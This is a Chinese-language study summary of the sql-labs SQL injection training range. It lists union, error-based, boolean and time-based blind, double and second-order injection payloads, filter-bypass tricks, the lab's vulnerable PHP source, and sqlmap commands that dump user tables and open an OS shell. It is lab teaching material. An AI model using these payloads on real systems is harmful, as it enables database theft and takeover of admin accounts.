总结篇
0x00 前言
在历经两周多,终于刷完了鼎鼎有名的sql-labs注入天书呼~😋(pwnthebox靶场刷完的)
实属不易,但感觉sql注入的路还很长,这些题目还是比较简单的(相比比赛中的sql题😭)
在此记录总结一下学到的知识点
0x01 MySQL函数
系统函数
version() #MySQL版本
user() #数据库用户名
database() #数据库名
@@datadir #数据库路径
@@version_compile_os #操作系统版本
字符串函数
ASCII(char) #返回字符的ASCII码值
CONCAT(s1,s2...,sn) #将s1,s2...,sn连接成字符串
LEFT(str,x) #返回字符串str中最左边的x个字符
substr(s,n,len)、mid(s,n,len) #两个函数作用相同,从字符串s中返回一个第n个字符开始、长度为len的字符串。
0x02 闭合类型
- 数字型注入,形如
select * from users where id=$id //无需闭合
select * from users where id=($id) //单括号闭合
- 字符型注入
- 单引号闭合
‘$id’
- 双引号闭合
"$id"
- 单引号加小括号
('$id')
- 双引号加小括号
("$id")
- 单引号加双小括号
(('$id'))
- 双引号加双小括号
(("$id"))
- 单引号闭合
以上差不多就是这个靶场会遇到的闭合方式了
0x03 判断注入点和显位
输入
?id=1 and 1=1-- //不报错
?id=1 and 1=2-- //报错 ,存在注入点,为数字型注入
?id=1' and 1=1-- //不报错
?id=1' and 1=2-- //报错 ,存在注入点,为字符型注入
在确定注入点之后就是判断显位了
?id=1' order by 3 --+ //不报错
?id=1' order by 4 --+ //报错
说明有三个显位
id=-1‘ UNION SELECT 1,2,3 –-+ 通过id=-1 一个负数不存在的id值来触发报错
知道了有三个输出点和两个显位
0x04 爆错注入
有回显情况下:
在有回显的情况下,我们是能够看得到报错的信息的。然后通过构造payload去查看数据库的数据
一般是一下步骤,以单引号闭合为例
- 爆数据库名
?id=-1' union select 1,database(),version() --+
- 爆表名
?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' --+
- 列名
?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='uw0QPGtY' --+
- 爆数据
?id=-1'union select 1,2,group_concat(flag) from uw0QPGtY --+
无回显情况下:
若页面没有报错回显,则考虑布尔盲注或者时间盲注或者xml报错外带数据
- 布尔盲注
如果正确则返回正常的界面,如错误则返回不正常的界面,sql代码如下
?id=1')) and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>67 -- 1
?id=1')) and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<67 -- 1
通过判断页面是否正常返回来确定语句的正确性
- 时间盲注
在页面啥也不显示的情况下,可以通过页面的响应时间来判断注入的语句是否正确,不过手工注比较麻烦,建议写个脚本跑
id=1' and if(length(database())>3 ,sleep(5),1) -- //确定数据库长度
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=89,sleep(3),1) --+ //确定表名
- xml报错外带数据
由于登录进去页面没有回显你的name和password,这时我们就需要用到**extractvalue()或者updatexml()**这两个个函数来报错实现注入
对XML文档进行查询的函数其实就是相当于我们熟悉的HTML文件中用
但是extractvalue()只能显示32个字符,如果结果超过了32位则需要用substr()
extractvalue()的用法
?id=-1') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and ('#
updatexml()的用法
?id=-1'and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1)#
0x05 双注入
什么是双注入?
双注入就是嵌套子查询,多走一条查询或者数据排序途径,获取想要的数据,例如select …(select …),里面的那个select被称为子查询,它的执行顺序先执行子查询,然后再执行外面的select,双注入主要涉及到了几个sql函数利用:
rand()随机函数,返回0~1之间的某个值
floor(a)取整函数,返回小于等于a,且值最接近a的一个整数
count()聚合函数也称作计数函数,返回查询对象的总数
group by cluase分组语句,按照cluase对查询结果分组
当一个字符串函数,例如concat函数后面如果使用分组语句就会把查询,的一部分以错误的形式显示出来。
经典双注入语句
?id=0'union select count(*),1,concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a --+
双注入的原理(floor报错的原因)
select count(*),concat((payload), floor(rand(0)*2)) as a from information_schema.tables group by a
上面我们给出了一个公式,套用这个公式,同过构造自己的payload,就可以显示出我们想要的结果。
简单讲就是,当floor(), count(), group by遇到一起在from一个3行以上的表时,就会产生一个主键重复的报错,而此时你把你想显示的信息构造到主键里面,mysql就会通过报错把这个信息给你显示到页面上。
0x06 二次注入
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
解题步骤
- 插入恶意语句
- 当我们写入语句时有非法字符会被转义,但是在存入数据库的时候它写入的还是原数据,这样在下一次引用的时候就会造成一个安全隐患
- 引用恶意数据
- 开发者默认存入数据库的数据都是安全的,所以不会对数据库里面拿出来的数据进行检验,这就导致了我们传入数据库的恶意语句被成功引用
下面给出题目的源码(不给出真的是太难注了)
登录界面
function sqllogin(){
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
新建用户
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
if (isset($_POST['submit']))
{
# Validating the user input........
//$username= $_POST['username'] ;
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
echo "<font size='3' color='#FFFF00'>";
$sql = "select count(*) from users where username='$username'";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
//print_r($row);
if (!$row[0]== 0)
{
?>
<script>alert("The username Already exists, Please choose a different username ")</script>;
<?php
header('refresh:1, url=new_user.php');
}
else
{
if ($pass==$re_pass)
{
# Building up the query........
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
mysql_query($sql) or die('Error Creating your user account, : '.mysql_error());
echo "</br>";
echo "<center><img src=../images/Less-24-user-created.jpg><font size='3' color='#FFFF00'>";
//echo "<h1>User Created Successfully</h1>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>Redirecting you to login page in 5 sec................";
echo "<font size='2'>";
echo "</br>If it does not redirect, click the home button on top right</center>";
header('refresh:5, url=index.php');
}
修改密码
if (isset($_POST['submit']))
{
# Validating the user input........
$username= $_SESSION["username"]; //在引用数据没有严格的过滤!!
$curr_pass=mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_affected_rows();
echo '<font size="3" color="#FFFF00">';
echo '<center>';
可以看到,不管是在创建用户还是在登录时数据都被严格的验证了,被mysql_real_escape_string
函数过滤了特殊字符。
但是他在修改密码的时候出现了漏洞$username= $_SESSION["username"];
,没有验证从数据调出来的数据。
payload
在创建用户时
username=admin’# //在被存入数据库的还是这个数据
password=123
在修改密码时
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";
在#后面的语句都被注释掉了
结果执行的语句为
UPDATE users SET PASSWORD='$pass' where username='admin'
这不就是在改管理员密码了吗!!!
于是改了只后再登录管理员就可以获得flag了
0x07 有过滤时
在这个靶场中绕过过滤主要有一下几种方法
- 替换同义词
比如or 和 and 如果过滤了就可以用||和&&来代替
- 双写绕过
当他的过滤仅仅是将字符串替换为空时可以使用,比如
select->'' ,可以用selselectect->select,双写来绕过,或者三写也可以如果匹配两次的话
- 编码绕过
%09 TAB(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB(垂直) (php-5.2.17,5,3,29成功)
%a0 空格 (php-5.2.17成功)
%27 单引号
- 参数污染
如布置有waf时,可以通过参数污染来实现绕过,具体参见这里
0x08 sqlmap使用
- GET型注入
python sqlmap.py "https://143-00564b05-0494-40d4-8242-c4e99e9a0bd9.do-not-trust.hacking.run/?id=1" --batch --threads=20 --leve=5 --risk=3 --dbms=mysql --current-db
python sqlmap.py "https://143-00564b05-0494-40d4-8242-c4e99e9a0bd9.do-not-trust.hacking.run/?id=1" --batch --threads=20 --leve=5 --risk=3 --dbms=mysql -D security --tables
python sqlmap.py "https://143-00564b05-0494-40d4-8242-c4e99e9a0bd9.do-not-trust.hacking.run/?id=1" --batch --threads=20 --leve=5 --risk=3 --dbms=mysql -D security -T users --columns
python sqlmap.py "https://143-00564b05-0494-40d4-8242-c4e99e9a0bd9.do-not-trust.hacking.run/?id=1" --batch --threads=20 --leve=5 --risk=3 --dbms=mysql -D security -T users -C username,password --dump
可以先自己判断一下是什么闭合类型这样比较快
根据实际情况level可以调低一点这个靶场基本上都能出。
- POST型注入
首先需要抓个包,将它保存为一个文件中,然后用法和上面的语句差不多
python sqlmap.py -r a1.txt --batch --threads=10 --leve=5 -D security -T vW8egb4v -C flag --dump
或者也可以拿shell去看看他的文件
python sqlmap.py -r 1.txt --batch --os-shell
详细使用方法请参考(35条消息) sqlmap详细使用教程_星落.的博客-CSDN博客_sqlmap
0x09 结语
sql注入能力想要进阶刷完这个靶场还是不够的,因为这里面的题目总体来说还是偏简单了,条件比较宽松,过滤的东西也很少。
最后,多写脚本,多看大佬的脚本,多刷题目!